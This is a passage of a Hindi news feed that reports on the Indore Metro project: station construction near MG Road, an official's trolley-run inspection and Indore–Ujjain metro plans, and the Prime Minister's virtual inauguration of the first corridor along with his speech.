ऐसे में एमजी रोड के समानांतर 146 मीटर लंबाई में स्टेशन बनाया जा सकेगा। इससे मकानों को तोड़ने की जरूरत नही होगी। सिर्फ इस क्षेत्र में बने गार्डन वाले हिस्से पर ही खोदाई की जाएगी। जमीन के नीचे स्टेशन का विस्तार किया जाएगा। इस प्रक्रिया से निर्माण एजेंसी को 25 से 30 करोड़ रुपये अतिरिक्त खर्च करना होंगे।

 

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इंदौर मेट्रो प्रोजेक्ट: अफसरों ने ट्रैक का ट्रॉली रन किया, MD बोले- वर्षाकाल में काम जारी रहेगा https://pratyushaashakinayikiran.com/?p=179891 Fri, 22 Aug 2025 13:36:00 +0000 https://pratyushaashakinayikiran.com/?p=179891 इंदौर

इंदौर में मेट्रो ट्रेन के 17 किलोमीटर हिस्से का काम पूरा करने पर मेट्रो रेल कार्पोरेशन का फोकस है, ताकि यहां तक मेट्रो का संचालन किया जा सके। अभी जिस सात किलोमीटर हिस्से में मेट्रो चल रही है, वहां यात्री नहीं मिल पा रहे है। शुक्रवार को मेट्रो रेल कार्पोरेशन के एमडी एस कृष्ण चैतन्य ने 11 किलोमीटर हिस्से का ट्राॅली रन कर जायजा लिया। उन्होंने अफसरों से कहा कि बारिश के दौरान भी मेट्रो के काम की गति कम नहीं होना चाहिए। छह माह के भीतर हमे मेट्रो ट्रेन का ट्रायल रन रेडिसन चौराहे तक करना है। उन्होंने कहा कि मेट्रो स्टेशन के बचे काम भी पूरे कर लिए जाए।

दौरे में उन्होंने विजय नगर, मेघदूत गार्डन, बापट चौराहा, चंद्रगुप्त मोर्य प्रतिमा चौराह के स्टेशनों के काम देखे। इसके अलावा गांधी नगर डिपो का भी निरीक्षण किया। वहां ट्रेनों के रखरखावल तकनीकी सेटअप, कंट्रोल रुम की जानकारी ली और जरुरत के हिसाब से स्टाॅफ बढ़ाने के लिए भी कहा। निरीक्षण के बाद उन्होंने अफसरों व ठेेकेदार एजेसिंयों के प्रतिनिधियों के साथ बैठक की और समयसीमा में काम पूरा करने के निर्देश दिए।

इंदौर से उज्जैन के बीच मेट्रो के लिए बनेगी डीपीआर

इंदौर से उज्जैन के बीच मेट्रो के लिए हुए सर्वे की रिपोर्ट अफसरों के सामने प्रस्तुत की गई। 45 किलोमीटर के रुट के निर्माण पर दस हजार करोड़ का खर्च आएगा। अब इसकी डिटेल प्रोजेक्ट रिपोर्ट तैयार होगी। इसे लेकर हुई बैठक में बताया गया कि इस रुट पर 11 स्टेशन बनेंगे और उज्जैन में चार किलोमीटर का हिस्सा अंडरग्राउंड बनेगा। मुख्यमंत्री चाहते है कि सिंहस्थ से पहले मेट्रो का निर्माण हो जाएगा, लेकिन तीन साल में काम संभव नहीं है,क्योकि अभी डीपीआर बनने में ही छह माह से अधिक का समय लग जाएगा।

 

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प्रधानमंत्री मोदी ने भोपाल से किया इंदौर मेट्रो का वर्चुअल लोकार्पण, सभी स्टेशन के नाम वीरांगनाओं के नाम पर https://pratyushaashakinayikiran.com/?p=160478 Sat, 31 May 2025 08:36:00 +0000 https://pratyushaashakinayikiran.com/?p=160478  इंदौर

इंदौर में आज से मेट्रो की शुरुआत हो गई है। प्रधानमंत्री नरेंद्र मोदी ने भोपाल से वर्चुअली इंदौर मेट्रो के सुपर प्रायोरिटी कॉरिडोर पर इसकी शुरुआत की। मेट्रो में पहले दिन महिलाएं सफर कर रही हैं।यह मेट्रो सेवा अभी 6 किलोमीटर के रूट पर शुरू हुई है। इस रूट पर 5 स्टेशन हैं। मेट्रो शुरू होने से शहर में ट्रैफिक और प्रदूषण कम होने की उम्मीद है। पहले हफ्ते में लोग मुफ्त में मेट्रो में सफर कर सकेंगे। प्रधानमंत्री नरेंद्र मोदी ने वर्चुअली भोपाल से इसकी शुरुआत की है।

इंदौर मेट्रो के टर्मिनल का नाम देवी अहिल्या बाई होलकर स्टेशन रखा गया है। इसके अलावा सभी स्टेशनों के नाम भी वीरांगनाओं के नाम पर रखे गए हैं। टर्मिनल से निकलने के बाद मेट्रो महारानी लक्ष्मीबाई स्टेशन, रानी अवंती बाई लोधी स्टेशन, रानी दुर्गावती स्टेशन और वीरांगना झलकारी बाई स्टेशन तक जाएगी।

इंदौर मेट्रो रेल का लगभग 6 किलोमीटर का हिस्सा यलो लाइन का सुपर प्रायोरिटी कॉरिडोर है, जिसमें पांच स्टेशन- गांधीनगर स्टेशन, सुपर कॉरिडोर 6 स्टेशन, सुपर कॉरिडोर 5 स्टेशन, सुपर कॉरिडोर 4 स्टेशन और सुपर कॉरिडोर 3 स्टेशन शामिल हैं। यह कॉरिडोर ट्रैफिक और प्रदूषण कम करेगा। पहले सप्ताह में मेट्रो में फ्री में सफर कर सकेंगे।

अभी छह किलोमीटर का हिस्सा शुरू हुआ

प्रधानमंत्री नरेंद्र मोदी ने अपने संबोधन में कहा कि इंदौर में आज से मेट्रो की शुरुआत हुई है। इंदौर मेट्रो का अभी सिर्फ 6 किलोमीटर का हिस्सा ही शुरू हुआ है। इसे 'यलो लाइन का सुपर प्रायोरिटी कॉरिडोर' कहा जा रहा है। इसमें गांधीनगर स्टेशन, सुपर कॉरिडोर 6 स्टेशन, सुपर कॉरिडोर 5 स्टेशन, सुपर कॉरिडोर 4 स्टेशन और सुपर कॉरिडोर 3 स्टेशन शामिल हैं।

ट्रैफिक जाम से मिलेगी मुक्ति

मेट्रो के शुरू होने से शहर में ट्रैफिक कम होगा। प्रदूषण भी कम होने की उम्मीद है। लोग पहले हफ्ते में मुफ्त में मेट्रो में घूम सकेंगे। मेट्रो स्टेशन को एक दिन पहले ही सजा दिया गया था। मेट्रो में सफर करते समय शहर की हरियाली का खूबसूरत नजारा दिखेगा।

जनवरी 2026 तक मेट्रो फेज-2 का काम पूरा होने की उम्मीद

इंदौर मेट्रो के फेज-2 का काम जनवरी 2026 तक पूरा करने का लक्ष्य है। PM नरेंद्र मोदी ने वर्चुअली हरी झंडी दिखाकर मेट्रो को रवाना किया। अभी सिर्फ 5.9 किमी पर ही मेट्रो चलेगी। पूरा प्रोजेक्ट 31 किमी लंबा है।

अंडरग्राउंड भी है मेट्रो

मेट्रो का कुछ हिस्सा जमीन के नीचे भी है। इस हिस्से का टेंडर हो चुका है, लेकिन अभी काम शुरू नहीं हुआ है। वहीं, इंदौर मध्य प्रदेश का पहला ऐसा शहर हो गया है, जहां मेट्रो ट्रेन की सेवा है। भोपाल मेट्रो की शुरुआत में अभी देर है।

गोली का जवाब, गोले से दिया जाएगा: पीएम मोदी

कार्यक्रम को संबोधित करते हुए पीएम मोदी ने कहा- पहलगाम में आतंकियों ने भारत की नारी शक्ति को चुनौती दी है। यह चुनौती आतंकियों और उनके आकाओं के लिए काल बन गई है। ऑपरेशन सिंदूर भारत के इतिहास का सबसे बड़ा और सफल ऑपरेशन है।

भारतीय सेना ने पाकिस्तान की सीमा में सैकड़ों किमी घुसकर आतंकियों को मिट्टी में मिला दिया है। अब पाकिस्तान का प्रॉक्सी वार नहीं चलेगा। जो आतंकियों को मदद करेगा, उसको भी इसकी भारी कीमत चुकाना पड़ेगी।

अब भारत का एक-एक नागरिक कह रहा है कि अगर तुम गोली चलाओगे, तो मानकर चलो गोली का जवाब गोले से दिया जाएगा। ऑपरेशन सिंदूर हमारी नारी शक्ति के सामर्थ्य का भी प्रतीक है।
पीएम मोदी के संबोधन की बड़ी बातें

सबसे पहले मैं मां भारती को, भारत की मातृशक्ति को प्रणाम करता हूं। आज यहां इतनी बड़ी संख्या में माताएं-बहनें-बेटियां हमें आशीर्वाद देने आई हैं। मैं आप सभी के दर्शन पाकर धन्य हो गया हूं।

आज लोकमाता देवी अहिल्याबाई होलकर जी की 300वीं जन्मजयंती है। 140 करोड़ भारतीयों के लिए ये अवसर प्रेरणा का है। राष्ट्र निर्माण के लिए हो रहे भगीरथ प्रयासों में अपना योगदान देने का है।

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